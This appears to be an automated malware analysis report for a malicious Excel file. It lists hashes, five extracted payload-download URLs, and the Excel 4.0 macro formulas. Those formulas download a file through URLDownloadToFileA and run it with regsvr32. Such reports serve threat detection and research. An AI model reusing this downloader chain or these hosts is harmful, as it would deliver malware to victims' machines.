General
-
Target
7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f
-
Size
95KB
-
MD5
59c27c4aee530fd287c08a9914f6cb3e
-
SHA1
955dc2555fb07666981489885b912b722ec1bfea
-
SHA256
7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f
-
SHA512
5dac2db23e8bd49caf0da028ad95292648c5fa4162ca891d4f450b5ef6048213f3483bcda593ffc9a6f6fb9a6df9d5589ab0eb0546ef74beca3de8e9888100a3
-
SSDEEP
1536:8zCwXW5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVd1:8eWHDsVhonV69o2bchgGaWBcpAS1
Malware Config
Extracted
https://thejobinassam.com/OLD/3r8/
https://ishigamitoshio.com/cgi-bin/tiL/
https://secsystembr.000webhostapp.com/wp-admin/ylfPOuPRX7skNx/
https://fraudaware.org.uk/wp-admin/UPeayYdSM/
https://angelstorehd.com/wp-includes/LBp6MO3/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thejobinassam.com/OLD/3r8/","..\wo1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ishigamitoshio.com/cgi-bin/tiL/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://secsystembr.000webhostapp.com/wp-admin/ylfPOuPRX7skNx/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fraudaware.org.uk/wp-admin/UPeayYdSM/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://angelstorehd.com/wp-includes/LBp6MO3/","..\wo1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wo1.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
7ffe084c0cdaccd1e790429719816617dfc349bac760c33234340c030e08c14f